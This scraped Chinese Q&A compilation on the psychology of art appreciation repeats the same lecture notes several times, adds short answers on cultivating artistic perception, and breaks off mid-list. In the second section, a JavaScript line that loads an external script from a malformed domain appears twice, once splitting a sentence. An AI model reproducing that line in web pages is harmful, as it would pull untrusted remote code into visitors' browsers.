① 如何理解藝術鑒賞的審美心裡聯想
藝術鑒賞作為一種審美再創造活動，包含極其復雜的審美心理因素和心理機制。
審美心理包含：注意、感知、聯想、想像、情感、理解等等。它們彼此間相互影響、相
互作用、相互滲透，
存在著微妙與復雜的關系。有時是在一瞬間完成，
卻含有審美心理的各
種要素，各種心理因素都在其中發揮積極的作用。
一、注意
1、指向性：選擇性，把需要感知和認識的事物從眾多事物中挑選出來。
2、集中性：
把主體的全部心理要素集中到所選擇事物之上。
人在一段時間內暫撇開其
他事物，集中精力清晰地反映某特定事物。
（
eg.
20世紀初，英國心理學家布洛「距離說」
，認為審美感受形成的原因，在於主體
對客體保持了適度的「心理距離」
，距離太遠和太近都無法產生審美快感。
太近距離：英國老太婆看《哈姆雷特》的大聲警告
太遠距離：欣賞繪畫或雕刻時「估算它值多少錢」未能進入藝術鑒賞的審美心理。
心理學上將注意分有，
有意注意和無意注意兩種，
藝術鑒賞活動中多採用有意注意，
保持各種心理活動的積極運轉。
（
eg.
川劇《秋江》描繪思凡下山的尼姑陳妙常搭乘老艄
公的船順江而下，無場景竟然導致頭暈）
）
二、感知
感覺是指客觀事物直接作用於人的感覺器官，
在人腦中產生的對事物個別屬性的反
映，感覺是一切認識活動的基礎，也是審美感受的心理基礎。
感覺和知覺合稱為感知，感覺是知覺基礎，知覺是感覺深入在藝術欣賞中二者通常
都是交織在一起，
共同發揮作用。
知覺具有整體性、
選擇性、
理解性和恆常性等基本性，
它是一種更加積極主動的心理活動。
人的感官，作為審美的感官，主要是視覺和聽覺，現代心理學研究結果表明，人類
感知所得信息總和的
85%
以上來自視聽感官。鑒賞主體要想提高自己的藝術欣賞水平，
首先就應當逐步訓練和培養自己敏銳的藝術感知力。通過大量中外優秀藝術品，反復感
知、體驗和品味，才能真正提高藝術鑒賞力。
三、聯想
心理學上的聯想，指「由一事物想到另一事物的心理過程。
」
包括，
1
、由當前感知的事物想起另一有關的事物。
（冰河解凍，想到冬去春來）
2
、由已經想起的一事物而想起另一事物。
（如想到冬去春來，萬物復甦）
聯想分類：接近聯想、相似聯想、對比聯想、因果聯想、自由聯想、控制聯想。
（
eg.
德國心理學家艾賓浩斯，運用實驗方法來研究人的高級心理活動，創立了現代聯
想主義心理學。
）
聯想在審美心理中有著不容忽視的地位和作用。
通過聯想不僅使得藝術形象更加鮮明生動，而且能使感知的形象內容更加的豐富
深刻，
從而使藝術欣賞活動不只是停留在對藝術作品感性形式的直接感受上，
而是能更
加深入地感受到感性形式中蘊含的更為豐富的內在意義。
（
eg.
音樂、
山水畫、
古詩
（比、
興手法）電影（蒙太奇）
）
蒙太奇：通過影響觀眾的情緒，激發觀眾的聯想和啟迪觀眾的思考，使電影具有
了神奇的藝術魅力。分類如下：
平等蒙太奇，心理根據是相似聯想。
對比蒙太奇，對比聯想，不同形象的對立或反襯來強化新片的心理沖擊力。
聯想有相似聯想、對比聯想。
聯想作為一種積極的心理因素，受到鑒賞主體的生活經驗、認識能力和情感情緒
等主觀條件的影響。
四、想像
藝術鑒賞作為一種審美再創造活動，鑒賞主體並不是消極、被動地接受，而是運用
想像和其他心理功能對藝術形象進行著積極、主動的再創造。
想像，
是指人腦對已有表象進行加工改造而創造新形象的過程。
想像的基本材料是
表象，但想像的表象與記憶的表象不同。
人類勞動與動物本能行為的根本區別在於藉助想像力產生預期結果的表象。
任何勞
動過程必然包括想像。是藝術、設計、科學、文學、音樂以及任何創造活動的一個必要
方面。
藝術鑒賞活動中的想像與藝術創作活動中的想像二者之間既有聯系，又有區別。原
因如下：
作為想像，二者都是飛躍的，不受時間和空間的限制，變化無窮，具有能動性和創
造性。但是，鑒賞者的想像必須以藝術家的想像為前提，鑒賞主體的想像必須以藝術作
品為依據，只能在作品規定的范圍和情境中馳騁想像，藝術作品對鑒賞活動的想像起著
規定，引導和制約的作用。
心理學將想像分為：
再造想像，根據語言描述或圖形、音響示意在頭腦中再造出相應新形象的過程。
創造想像，不依據現成描述而獨立創造出新形象的過程。
藝術鑒賞活動以再造想像為主，同時也包含有一定的創造想像。
（
eg.
李白詩；繪畫和雕塑等造型藝術，運用化靜為動的想像力；齊白石的蝦，徐悲
鴻的馬；戲劇藝術、舞台藝術、傳統戲曲，虛擬想像，所表現揮鞭疾走，操槳劃動。
）
影視藝術：蘇聯導演羅姆《十三人》穿越大沙漠去找援軍。
音樂藝術，雖有特有形象性，但又有不確定性和抽象性。世界名曲，給聽眾提供了
樂曲的基本內容和想像的基本方向，給聽眾提示和指引。
文學藝術，王國維的「大漠孤煙直，長河落日圓」
五、情感
強烈的情感體驗，
正是審美活動區別於科學活動與道德意識活動的一個最為顯著的
特點。
心理學家把人所特有的復雜的社會性情感稱為高級情感，並劃分為道德感、美感、
理智感三種。
情感是人對客觀現實的一種特殊的反應形式，
是對客觀事物是否符合人的需要的一
種復雜的心理反映，是主體對待客體的一種態度。人的情感的根源在於極其多樣的自然
和文化的需要。
中外許多美學家都認為，審美心理是注意、感知、聯想、想像、情感、理解等多種
心理因素為一體。它們並不是機械地相加或簡單地規程，而是通過情感作為中介，形成
了有機統一的審美心理。藝術鑒賞中的情感活動，以注意和感知為基礎，與聯想和想像
密不可分，並通過理解因素在感性里表現理發，在理性中積淀感性。
1、
藝術鑒賞中，情感總是以注意和感知來作為基礎。心理學認為，人的情感總是
針對特定的對象而產生的，世界上沒有無緣無故的情感，日常生活中人們常會
「觸景生情」
，在藝術鑒賞也有這種情形。
（
eg.
（南齊）劉勰《文心雕龍》
「登
山則情滿於山，
觀海則意溢於海。
」
）
。事實上，
任何一個讀者、
觀眾或聽眾在藝
術鑒賞中，對於藝術形象的感知和接受都會受到情感的影響。同時，在特定情
感影響下進行的藝術感知，又會作用於情感，引起更深的情感活動。
2、
其次，藝術鑒賞中的情感又與聯想和想像密不可分。
一方面，聯想和想像常常受到鑒賞主體情感的影響。
另一方面，這種聯想和想像又會進步強化和深化情感。因此，鑒賞中的聯想與
想像總是以情感為中介。
（
《梁山伯與祝英台》小提琴協奏曲）
3、
此外，藝術鑒賞心理中，情感與理解也有極其密切的關系。心理學認為，人的
情感與人對事物的認識、硬度有著直接的聯系，尤其是對於美感、道德感這一
類的高級情感來說，必然將「評價、判斷、觀點作為一個必要的因素包括在情
感之中」因此，這些情感滲透著理智的因素。
《苔絲》
當鑒賞主體更深刻地理解了作品的內容和寓意，
才會對作品所傳達的感情有更深的
體會，從而在藝術鑒賞中達到情感高峰體驗的程度。
顯然，
情感在審美和藝術心理中具有十分重要的作用，
尤其是它與其他心理因素相
互影響和滲透，並在其中發揮著主導作用。
六、理解
藝術鑒賞心理中的理解因素，並不是單獨存在的，而是廣泛滲透在感知、情感、想
象等心理活動中，共同構成完整的審美心理過程。因此，審美心理中的理解因素，不同
於通常的邏輯思維，而是往往表現為似乎是不經思索直接達到對於藝術作品的理解。
理解是逐步認識事物的聯系、關系直到認識其本質、規律的一種思維活動。理解包
括直接理解和間接理解。
直接理解：沒有中介思維參與，而是個體通過目前的親身經驗實現的理解；
間接理解：借用前人經驗和個體以往的經驗，通過一系列分析綜合、抽象概括等中
介思維而實現的理解。
審美與藝術活動中的理解，常具有直接領悟的特點，表現為一種心領神會、不可言
傳的體驗。因此，藝術鑒賞中的理解多以直接理解為主，同時在一定程度上也有間接理
解的參與。在藝術鑒賞中，必然是情感體驗與欣賞判斷的結合，是感性因素與理性因素
的結合。
藝術審美心理中的理解因素有三層含義：
首先，對於藝術作品內容的鑒賞離不開理解因素。
（達芬奇《最後的晚餐》
）人們必
須運用自己的生活經驗和文化知識來理解作品的內容。
《紅樓夢》
其次，對於藝術作品形式的鑒賞離不開理解因素。
（京劇的程式和技法）
最後，也是最重要的一點是，對於每一部藝術作品的內在意蘊和深刻哲理的認識，
更不能脫離理解因素。在中國美學中，藝術作品常追求一種「言外之意」
、
「弦外之音」
或「象外之旨」
。西方美學中，藝術作品常常追求「寓意、意蘊、哲理」
② 在藝術鑒賞流程中主要包含哪些審美心理活動
第一節 藝術鑒賞的審美心理
藝術鑒賞作為一種審美再創造活動，包含極其復雜的審美心理因素和心理機制。
審美心理包含：注意、感知、聯想、想像、情感、理解等等。它們彼此間相互影響、相互作用、相互滲透，存在著微妙與復雜的關系。有時是在一瞬間完成，卻含有審美心理的各種要素，各種心理因素都在其中發揮積極的作用。
一、注意
1、指向性：選擇性，把需要感知和認識的事物從眾多事物中挑選出來。 2、集中性：把主體的全部心理要素集中到所選擇事物之上。人在一段時間內暫撇開其
他事物，集中精力清晰地反映某特定事物。 （eg.20世紀初，英國心理學家布洛「距離說」，認為審美感受形成的原因，在於主體對客體保持了適度的「心理距離」，距離太遠和太近都無法產生審美快感。
太近距離：英國老太婆看《哈姆雷特》的大聲警告
太遠距離：欣賞繪畫或雕刻時「估算它值多少錢」未能進入藝術鑒賞的審美心理。 心理學上將注意分有，有意注意和無意注意兩種，藝術鑒賞活動中多採用有意注意，保持各種心理活動的積極運轉。（eg.川劇《秋江》描繪思凡下山的尼姑陳妙常搭乘老艄公的船順江而下，無場景竟然導致頭暈）
） 二、感知
感覺是指客觀事物直接作用於人的感覺器官，在人腦中產生的對事物個別屬性的反映，感覺是一切認識活動的基礎，也是審美感受的心理基礎。
感覺和知覺合稱為感知，感覺是知覺基礎，知覺是感覺深入在藝術欣賞中二者通常都是交織在一起，共同發揮作用。知覺具有整體性、選擇性、理解性和恆常性等基本性，它是一種更加積極主動的心理活動。
人的感官，作為審美的感官，主要是視覺和聽覺，現代心理學研究結果表明，人類感知所得信息總和的85%以上來自視聽感官。鑒賞主體要想提高自己的藝術欣賞水平，首先就應當逐步訓練和培養自己敏銳的藝術感知力。通過大量中外優秀藝術品，反復感知、體驗和品味，才能真正提高藝術鑒賞力。
三、聯想
心理學上的聯想，指「由一事物想到另一事物的心理過程。」 包括，1、由當前感知的事物想起另一有關的事物。（冰河解凍，想到冬去春來）
2、由已經想起的一事物而想起另一事物。（如想到冬去春來，萬物復甦）
聯想分類：接近聯想、相似聯想、對比聯想、因果聯想、自由聯想、控制聯想。
（eg.德國心理學家艾賓浩斯，運用實驗方法來研究人的高級心理活動，創立了現代聯想主義心理學。）
聯想在審美心理中有著不容忽視的地位和作用。
通過聯想不僅使得藝術形象更加鮮明生動，而且能使感知的形象內容更加的豐富深刻，從而使藝術欣賞活動不只是停留在對藝術作品感性形式的直接感受上，而是能更加深入地感受到感性形式中蘊含的更為豐富的內在意義。（eg.音樂、山水畫、古詩（比、興手法）電影（蒙太奇））
蒙太奇：通過影響觀眾的情緒，激發觀眾的聯想和啟迪觀眾的思考，使電影具有了神奇的藝術魅力。分類如下：
平等蒙太奇，心理根據是相似聯想。
var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);
對比蒙太奇，對比聯想，不同形象的對立或反襯來強化新片的心理沖擊力。 聯想有相似聯想、對比聯想。
聯想作為一種積極的心理因素，受到鑒賞主體的生活經驗、認識能力和情感情緒等主觀條件的影響。 四、想像
藝術鑒賞作為一種審美再創造活動，鑒賞主體並不是消極、被動地接受，而是運用想像和其他心理功能對藝術形象進行著積極、主動的再創造。
想像，是指人腦對已有表象進行加工改造而創造新形象的過程。想像的基本材料是表象，但想像的表象與記憶的表象不同。
人類勞動與動物本能行為的根本區別在於藉助想像力產生預期結果的表象。任何勞動過程必然包括想像。是藝術、設計、科學、文學、音樂以及任何創造活動的一個必要方面。
藝術鑒賞活動中的想像與藝術創作活動中的想像二者之間既有聯系，又有區別。原因如下：
作為想像，二者都是飛躍的，不受時間和空間的限制，變化無窮，具有能動性和創造性。但是，鑒賞者的想像必須以藝術家的想像為前提，鑒賞主體的想像必須以藝術作品為依據，只能在作品規定的范圍和情境中馳騁想像，藝術作品對鑒賞活動的想像起著規定，引導和制約的作用。
心理學將想像分為：
再造想像，根據語言描述或圖形、音響示意在頭腦中再造出相應新形象的過程。 創造想像，不依據現成描述而獨立創造出新形象的過程。
藝術鑒賞活動以再造想像為主，同時也包含有一定的創造想像。
（eg.李白詩；繪畫和雕塑等造型藝術，運用化靜為動的想像力；齊白石的蝦，徐悲鴻的馬；戲劇藝術、舞台藝術、傳統戲曲，虛擬想像，所表現揮鞭疾走，操槳劃動。）
影視藝術：蘇聯導演羅姆《十三人》穿越大沙漠去找援軍。
音樂藝術，雖有特有形象性，但又有不確定性和抽象性。世界名曲，給聽眾提供了樂曲的基本內容和想像的基本方向，給聽眾提示和指引。
文學藝術，王國維的「大漠孤煙直，長河落日圓」 五、情感
強烈的情感體驗，正是審美活動區別於科學活動與道德意識活動的一個最為顯著的特點。
心理學家把人所特有的復雜的社會性情感稱為高級情感，並劃分為道德感、美感、理智感三種。
情感是人對客觀現實的一種特殊的反應形式，是對客觀事物是否符合人的需要的一種復雜的心理反映，是主體對待客體的一種態度。人的情感的根源在於極其多樣的自然和文化的需要。
中外許多美學家都認為，審美心理是注意、感知、聯想、想像、情感、理解等多種心理因素為一體。它們並不是機械地相加或簡單地規程，而是通過情感作為中介，形成了有機統一的審美心理。藝術鑒賞中的情感活動，以注意和感知為基礎，與聯想和想像密不可分，並通過理解因素在感性里表現理發，在理性中積淀感性。
1、 藝術鑒賞中，情感總是以注意和感知來作為基礎。心理學認為，人的情感總是
針對特定的對象而產生的，世界上沒有無緣無故的情感，日常生活中人們常會「觸景生情」，在藝術鑒賞也有這種情形。（eg.（南齊）劉勰《文心雕龍》「登山則情滿於山，觀海則意溢於海。」）。事實上，任何一個讀者、觀眾或聽眾在藝
var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);
術鑒賞中，對於藝術形象的感知和接受都會受到情感的影響。同時，在特定情感影響下進行的藝術感知，又會作用於情感，引起更深的情感活動。
2、 其次，藝術鑒賞中的情感又與聯想和想像密不可分。
一方面，聯想和想像常常受到鑒賞主體情感的影響。
另一方面，這種聯想和想像又會進步強化和深化情感。因此，鑒賞中的聯想與想像總是以情感為中介。（《梁山伯與祝英台》小提琴協奏曲）
3、 此外，藝術鑒賞心理中，情感與理解也有極其密切的關系。心理學認為，人的
情感與人對事物的認識、硬度有著直接的聯系，尤其是對於美感、道德感這一類的高級情感來說，必然將「評價、判斷、觀點作為一個必要的因素包括在情感之中」因此，這些情感滲透著理智的因素。《苔絲》
當鑒賞主體更深刻地理解了作品的內容和寓意，才會對作品所傳達的感情有更深的體會，從而在藝術鑒賞中達到情感高峰體驗的程度。 顯然，情感在審美和藝術心理中具有十分重要的作用，尤其是它與其他心理因素相互影響和滲透，並在其中發揮著主導作用。 六、理解
藝術鑒賞心理中的理解因素，並不是單獨存在的，而是廣泛滲透在感知、情感、想像等心理活動中，共同構成完整的審美心理過程。因此，審美心理中的理解因素，不同於通常的邏輯思維，而是往往表現為似乎是不經思索直接達到對於藝術作品的理解。
理解是逐步認識事物的聯系、關系直到認識其本質、規律的一種思維活動。理解包括直接理解和間接理解。
直接理解：沒有中介思維參與，而是個體通過目前的親身經驗實現的理解；
間接理解：借用前人經驗和個體以往的經驗，通過一系列分析綜合、抽象概括等中介思維而實現的理解。
審美與藝術活動中的理解，常具有直接領悟的特點，表現為一種心領神會、不可言傳的體驗。因此，藝術鑒賞中的理解多以直接理解為主，同時在一定程度上也有間接理解的參與。在藝術鑒賞中，必然是情感體驗與欣賞判斷的結合，是感性因素與理性因素的結合。
藝術審美心理中的理解因素有三層含義：
首先，對於藝術作品內容的鑒賞離不開理解因素。（達芬奇《最後的晚餐》）人們必須運用自己的生活經驗和文化知識來理解作品的內容。《紅樓夢》
其次，對於藝術作品形式的鑒賞離不開理解因素。（京劇的程式和技法）
最後，也是最重要的一點是，對於每一部藝術作品的內在意蘊和深刻哲理的認識，更不能脫離理解因素。在中國美學中，藝術作品常追求一種「言外之意」、「弦外之音」或「象外之旨」。西方美學中，藝術作品常常追求「寓意、意蘊、哲理」
③ 關於美術,敏銳感知力與審美判斷力是怎麼解釋的
藝術的審美與感知能力，一半來源於個人的經歷與生活環境，人總是以自己的思維方式感知，判斷事物，自己覺得美的就美。一半來自於審美天分和藝術修養，天生的一種對美的感知能力與美術鑒賞能力。如果不具備這兩種就要靠自己去積累，或看一些關於這方面的書籍，如(藝術美學)等。還可以多欣賞自己感興趣的藝術作品，多刺激自己的藝術細胞。
希望採納
④ 如何培養學生的藝術感知力
藝術感知力大部分來源於先天，但也可以通過後天的培養，來增強。熱愛生活，是培養藝術感知力最舒適，最有效快捷的方法。例如，閑暇之餘反復品讀美文，反復欣賞音樂，反復對著唯美的圖片推敲探尋，可以使我們的藝術感知力開發慢慢提升。
⑤ 藝術感知力在文學創作中的作用
藝術思維是千變萬化的、多姿多彩的。它對科學的邏輯思維有著促進的作用。如在音樂創作的過程中，它利用不同的音響、和聲、旋律線條、節奏、音高等不同的器樂組合，進行音樂形象的塑造思維。
從而以聲傳情，以情感人，給人以創造性的震撼。
從而我們可以看到，藝術思維對科學思維中的邏輯思維是有促進作用的。
如諾貝爾獲得者李政道先生敏銳地指出注意形象思維對科學創造的積極性：
「科學與藝術是不可侵害的，就像一枚硬幣的兩面，它們共同的基礎是人類的創造力，它們的共同目標都是真理的普遍性。」因此堅持藝術素質教育，堅持藝術賞析，掌握藝術思維特點和規律，是學生拓開思維方式，打開思維閘門，建立思維空間的重要途徑。
⑥ 藝術賦予的包容力
從事藝術教育工作多年，我在行業中遇見了各種各樣的學生，也接觸了千差萬別的人，有幸窺視到了藝術教育對人的影響。藝術在生活中其實是司空見慣的東西，但有些人談及藝術時，認為藝術離他們極為遙遠，甚至完全欣賞不來， 其中不乏知文達理或在自身領域中頗有建樹之人。他們的這種不理解，也讓我迷惑不解，因為我認為但凡有感知能力的人，那就或多或少的能夠感受到一些藝術，當然這種感知能力不能只是感受惡的能力，而是能感受美的能力。
一、藝術的定義
讓我們首先來聊一聊藝術的定義，狹義的藝術指的是：繪畫、雕塑、音樂、舞蹈、戲劇、電影、文學等等。而從廣 義上講，藝術不單單是包含造型藝術、表演藝術、語言藝術、綜合藝術，藝術還包含了各類學科，比如實用技術、人類行為、甚至物種演化等。通俗來講，廣義的藝術就是一種看待世界的眼光，一種主觀的感受，指一切美好且能打動你心靈的東西。往大了講，藝術包含萬物，藝術即為生活。
二、藝術與生活
有種人說他不懂藝術，無法欣賞一幅畫，聽不懂一首歌，甚至世間萬物都很難勾起他的興趣（除了金錢），那可以說他根本也不懂生活。還有一種人，就算身處困境能甘之如飴，因為他們隨時隨地都能發現快樂。不懂藝術的人不缺乏博學多才的人，而能夠欣賞藝術的人中也有碌碌無為的人，藝術的感知力與個體的文化層次和建樹並沒有必然的聯系。（雖然學識廣博的人更容易能感受藝術，但這不是絕對）
往往無法感受藝術的這類人，他們的生活會更缺少樂趣，在日常生活中更難以理解與他們不同類型的人以及這些人的不同行為，他們只能依據物以類聚的原則接受同類的人，只要不在他們的接受范圍，那絕對會排除異己。另外一些能夠欣賞藝術的人，他們更容易接受各種各樣的事情和人，哪怕與自身迥然不同，他們也能海納百川。藝術對於人的影響不只是審美，還可以直接影響人的觀念，表面上講是對美的感知能力，從根本上講其實是包容性。
三、藝術與包容性
藝術到底給人帶來了什麼？曾經有一位老師說過一句讓我感受深刻的話，雖然只是短短的一句話，卻是言淺意深。 這句原話是：「藝術讓人學會了包容。」在藝術的教育領域中，也許最開始只是技能的傳授，審美的培養，其實在潛移默化的作用下，藝術教會人們的不僅是技能，而是行為與思想。從學科上來講藝術的最終目的是創造與表達，但如果不能發現與感知，那何談創造與表達？所以藝術帶來的不僅是技能，而是發現與感受美的眼光，是一種生活方式，一種態度 。藝術賦予人的包容性，使人能夠具備更廣的理解范圍以及對不同事物的容納能力，這種包容力也讓人不再斤斤計較， 更擅於感受快樂。
⑦ 什麼是藝術觸覺
藝術觸覺：是一個比喻藝術是無形的，觸覺是用手摸，好的藝術能突破無形，讓人有一種觸摸到的感覺。藝術觸覺是和好作品一起的，不能分開看。比如你坐出了一個好作品，不管你有沒有真的觸摸到你都會是有藝術觸覺的
⑧ 影響藝術感知力的因素有哪些
你好。影響感知力的有自身的天賦。社會的閱歷。還有多方面的原因。
再就是你有可能欣賞過好多的作品也積累了好多的經驗這樣的話你自身的感知力有所提升
也是有一些外界的小原因也能幹擾你的藝術感知力。
⑨ 藝術鑒賞的主要心理要素有哪些。他們如何發生作用
藝術鑒賞的審美心理 藝術鑒賞作為一種審美再創造活動，包含極其復雜的審美心理因素和心理機制。 審美心理包含：注意、感知、聯想、想像、情感、理解等等。它們彼此間相互影響、相 互作用、相互滲透，存在著微妙與復雜的關系。有時是在一瞬間完成，卻含有審美心理的各 種要素，各種心理因素都在其中發揮積極的作用。 一、注意 １、指向性：選擇性，把需要感知和認識的事物從眾多事物中挑選出來。 ２、集中性： 把主體的全部心理要素集中到所選擇事物之上。 人在一段時間內暫撇開其 他事物，集中精力清晰地反映某特定事物。 （eg.２０世紀初，英國心理學家布洛「距離說」 ，認為審美感受形成的原因，在於主體 對客體保持了適度的「心理距離」 ，距離太遠和太近都無法產生審美快感。 太近距離：英國老太婆看《哈姆雷特》的大聲警告 太遠距離：欣賞繪畫或雕刻時「估算它值多少錢」未能進入藝術鑒賞的審美心理。 心理學上將注意分有， 有意注意和無意注意兩種， 藝術鑒賞活動中多採用有意注意， 保持各種心理活動的積極運轉。 （eg.川劇《秋江》描繪思凡下山的尼姑陳妙常搭乘老艄 公的船順江而下，無場景竟然導致頭暈）） 二、感知 感覺是指客觀事物直接作用於人的感覺器官，在人腦中產生的對事物個別屬性的反 映，感覺是一切認識活動的基礎，也是審美感受的心理基礎。 感覺和知覺合稱為感知，感覺是知覺基礎，知覺是感覺深入在藝術欣賞中二者通常 都是交織在一起，共同發揮作用。知覺具有整體性、選擇性、理解性和恆常性等基本性， 它是一種更加積極主動的心理活動。 人的感官，作為審美的感官，主要是視覺和聽覺，現代心理學研究結果表明，人類 感知所得信息總和的 85%以上來自視聽感官。鑒賞主體要想提高自己的藝術欣賞水平， 首先就應當逐步訓練和培養自己敏銳的藝術感知力。通過大量中外優秀藝術品，反復感 知、體驗和品味，才能真正提高藝術鑒賞力。 三、聯想 心理學上的聯想，指「由一事物想到另一事物的心理過程。」 包括，1、由當前感知的事物想起另一有關的事物。 （冰河解凍，想到冬去春來） 2、由已經想起的一事物而想起另一事物。 （如想到冬去春來，萬物復甦） 聯想分類：接近聯想、相似聯想、對比聯想、因果聯想、自由聯想、控制聯想。 （eg.德國心理學家艾賓浩斯，運用實驗方法來研究人的高級心理活動，創立了現代聯 想主義心理學。） 聯想在審美心理中有著不容忽視的地位和作用。 通過聯想不僅使得藝術形象更加鮮明生動，而且能使感知的形象內容更加的豐富 深刻， 從而使藝術欣賞活動不只是停留在對藝術作品感性形式的直接感受上， 而是能更 加深入地感受到感性形式中蘊含的更為豐富的內在意義。 （eg.音樂、山水畫、古詩（比、 興手法）電影（蒙太奇）） 蒙太奇：通過影響觀眾的情緒，激發觀眾的聯想和啟迪觀眾的思考，使電影具有 了神奇的藝術魅力。分類如下： 平等蒙太奇，心理根據是相似聯想。 對比蒙太奇，對比聯想，不同形象的對立或反襯來強化新片的心理沖擊力。 聯想有相似聯想、對比聯想。 聯想作為一種積極的心理因素，受到鑒賞主體的生活經驗、認識能力和情感情緒 等主觀條件的影響。 四、想像 藝術鑒賞作為一種審美再創造活動，鑒賞主體並不是消極、被動地接受，而是運用 想像和其他心理功能對藝術形象進行著積極、主動的再創造。 想像， 是指人腦對已有表象進行加工改造而創造新形象的過程。 想像的基本材料是 表象，但想像的表象與記憶的表象不同。 人類勞動與動物本能行為的根本區別在於藉助想像力產生預期結果的表象。任何勞 動過程必然包括想像。是藝術、設計、科學、文學、音樂以及任何創造活動的一個必要 方面。 藝術鑒賞活動中的想像與藝術創作活動中的想像二者之間既有聯系，又有區別。原 因如下： 作為想像，二者都是飛躍的，不受時間和空間的限制，變化無窮，具有能動性和創 造性。但是，鑒賞者的想像必須以藝術家的想像為前提，鑒賞主體的想像必須以藝術作 品為依據，只能在作品規定的范圍和情境中馳騁想像，藝術作品對鑒賞活動的想像起著 規定，引導和制約的作用。 心理學將想像分為： 再造想像，根據語言描述或圖形、音響示意在頭腦中再造出相應新形象的過程。 創造想像，不依據現成描述而獨立創造出新形象的過程。 藝術鑒賞活動以再造想像為主，同時也包含有一定的創造想像。 （eg.李白詩；繪畫和雕塑等造型藝術，運用化靜為動的想像力；齊白石的蝦，徐悲 鴻的馬；戲劇藝術、舞台藝術、傳統戲曲，虛擬想像，所表現揮鞭疾走，操槳劃動。） 影視藝術：蘇聯導演羅姆《十三人》穿越大沙漠去找援軍。 音樂藝術，雖有特有形象性，但又有不確定性和抽象性。世界名曲，給聽眾提供了 樂曲的基本內容和想像的基本方向，給聽眾提示和指引。 文學藝術，王國維的「大漠孤煙直，長河落日圓」 五、情感 強烈的情感體驗，正是審美活動區別於科學活動與道德意識活動的一個最為顯著的 特點。 心理學家把人所特有的復雜的社會性情感稱為高級情感，並劃分為道德感、美感、 理智感三種。 情感是人對客觀現實的一種特殊的反應形式，是對客觀事物是否符合人的需要的一 種復雜的心理反映，是主體對待客體的一種態度。人的情感的根源在於極其多樣的自然 和文化的需要。 中外許多美學家都認為，審美心理是注意、感知、聯想、想像、情感、理解等多種 心理因素為一體。它們並不是機械地相加或簡單地規程，而是通過情感作為中介，形成 了有機統一的審美心理。藝術鑒賞中的情感活動，以注意和感知為基礎，與聯想和想像 密不可分，並通過理解因素在感性里表現理發，在理性中積淀感性。 １、 藝術鑒賞中，情感總是以注意和感知來作為基礎。心理學認為，人的情感總是 針對特定的對象而產生的，世界上沒有無緣無故的情感，日常生活中人們常會 「觸景生情」 ，在藝術鑒賞也有這種情形。 （eg.（南齊）劉勰《文心雕龍》 「登 山則情滿於山，觀海則意溢於海。） 」。事實上，任何一個讀者、觀眾或聽眾在藝 術鑒賞中，對於藝術形象的感知和接受都會受到情感的影響。同時，在特定情 感影響下進行的藝術感知，又會作用於情感，引起更深的情感活動。 ２、 其次，藝術鑒賞中的情感又與聯想和想像密不可分。 一方面，聯想和想像常常受到鑒賞主體情感的影響。 另一方面，這種聯想和想像又會進步強化和深化情感。因此，鑒賞中的聯想與 想像總是以情感為中介。《梁山伯與祝英台》小提琴協奏曲）（ ３、 此外，藝術鑒賞心理中，情感與理解也有極其密切的關系。心理學認為，人的 情感與人對事物的認識、硬度有著直接的聯系，尤其是對於美感、道德感這一 類的高級情感來說，必然將「評價、判斷、觀點作為一個必要的因素包括在情 感之中」因此，這些情感滲透著理智的因素。 《苔絲》 當鑒賞主體更深刻地理解了作品的內容和寓意， 才會對作品所傳達的感情有更深的 體會，從而在藝術鑒賞中達到情感高峰體驗的程度。 顯然， 情感在審美和藝術心理中具有十分重要的作用， 尤其是它與其他心理因素相 互影響和滲透，並在其中發揮著主導作用。 六、理解 藝術鑒賞心理中的理解因素，並不是單獨存在的，而是廣泛滲透在感知、情感、想 象等心理活動中，共同構成完整的審美心理過程。因此，審美心理中的理解因素，不同 於通常的邏輯思維，而是往往表現為似乎是不經思索直接達到對於藝術作品的理解。 理解是逐步認識事物的聯系、關系直到認識其本質、規律的一種思維活動。理解包 括直接理解和間接理解。 直接理解：沒有中介思維參與，而是個體通過目前的親身經驗實現的理解； 間接理解：借用前人經驗和個體以往的經驗，通過一系列分析綜合、抽象概括等中 介思維而實現的理解。 審美與藝術活動中的理解，常具有直接領悟的特點，表現為一種心領神會、不可言 傳的體驗。因此，藝術鑒賞中的理解多以直接理解為主，同時在一定程度上也有間接理 解的參與。在藝術鑒賞中，必然是情感體驗與欣賞判斷的結合，是感性因素與理性因素 的結合。 藝術審美心理中的理解因素有三層含義： 首先，對於藝術作品內容的鑒賞離不開理解因素。 （達芬奇《最後的晚餐》 ）人們必 須運用自己的生活經驗和文化知識來理解作品的內容。 《紅樓夢》 其次，對於藝術作品形式的鑒賞離不開理解因素。 （京劇的程式和技法） 最後，也是最重要的一點是，對於每一部藝術作品的內在意蘊和深刻哲理的認識， 更不能脫離理解因素。在中國美學中，藝術作品常追求一種「言外之意」「弦外之音」、 或「象外之旨」 。西方美學中，藝術作品常常追求「寓意、意蘊、哲理」
⑩ 有助於寶寶藝術感知培養寶寶藝術感知的方法
有助於寶寶藝術感知培養寶寶藝術感知的方法
有助於寶寶藝術感知培養寶寶藝術感知的方法，如何培養好孩子是很多家長思考的問題，培養孩子會讓孩子在未來成長得更好。現在分享有助於寶寶藝術感知培養寶寶藝術感知的方法。
一、有助於寶寶藝術感知的方法
1、用手抓食物吃
讓寶寶用小手去抓水果塊、餅干、面條等來吃。這樣做可能會把寶寶的小手弄臟，但在抓食物吃的過程中，除了味覺刺激，還可以鍛煉寶寶手的觸覺。不過要注意，讓寶寶抓的東西不能太燙。適合年齡：6個月以上。
2、玩發聲玩具
有些玩具不僅可以發出聲響，還能隨著聲音的節奏產生一些動作。這些動作可以刺激寶寶的小手，使寶寶手的動作變得更加靈敏。適合年齡：3個月以上。
3、里里外外都看到
給寶寶看一個物體的時候，最好能把物體的裡面和外面都給他看一看。比如，你給寶寶看一個汽車玩具，先給他看玩具的整體形象，然後再給他展示一下裡面的結構。這樣做可以幫助孩子了解和掌握物體的屬性，甚至可以影響他以後對各種物品進行分類的能力。適合年齡：8個月以上。
4.塗鴉
給寶寶准備一些畫筆，讓他隨意地畫。可以畫在紙上，也可以畫在硬紙板、物品的包裝盒上等等。這樣不僅有助於提高孩子的表現力，還能幫助他體會不同畫筆、不同繪畫材料間的差異。適合年齡：1歲以上。
5.玩小貼畫
